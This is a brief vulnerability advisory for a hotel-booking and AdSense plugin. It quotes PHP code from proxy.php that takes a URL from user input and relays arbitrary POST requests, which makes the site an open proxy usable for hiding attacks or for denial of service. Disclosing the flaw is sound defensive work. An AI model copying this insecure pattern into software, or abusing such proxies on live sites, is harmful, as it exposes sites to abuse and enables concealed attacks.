Description: Automatically insert Google Adsense ads and Hotel Reservations.
Vulnerability:
The code in ./plugin/google-adsense-and-hotel-booking/proxy.php allows an arbitrary user to proxy POST requests though the host site. This may allow attackers to hide attacks, or DoS a site if the POST request is pointed back at itself causing a loop: 3 $url = $_POST['url']; 4 ini_set("allow_url_fopen", 1); 5 $data = array(); 6 while(list($n,$v) = each($_POST)){$data[] = "$n=$v";} 7 $data = implode('&', $data); 8 $url = parse_url($url); 9 $host = $url['host']; 10 $path = $url['path']; 11 $port = 80; 12 $data_length = strlen($data); 13 $header = "POST $path HTTP/1.0\r\n"; 14 $header .= "Host: $host\r\n"; 15 $header .= "User-Agent: DoCoMo/1.0/P503i\r\n"; 16 $header .= "Content-type: application/x-www-form-urlencoded\r\n"; 17 $header .= "Content-length: $data_length\r\n"; 18 $header .= "\r\n"; 19 $fp = fsockopen($host,$port,$err_num,$err_msg,120); 20 $response =''; 21 fputs($fp, $header . $data); 22 while(trim(fgets($fp,4096)) != '');//Retira o cabecalho HTTP 23 while(!feof($fp)){$response .= fgets($fp,4096);} 24 // close the socket connection: 25 fclose($fp); 26 echo $response;
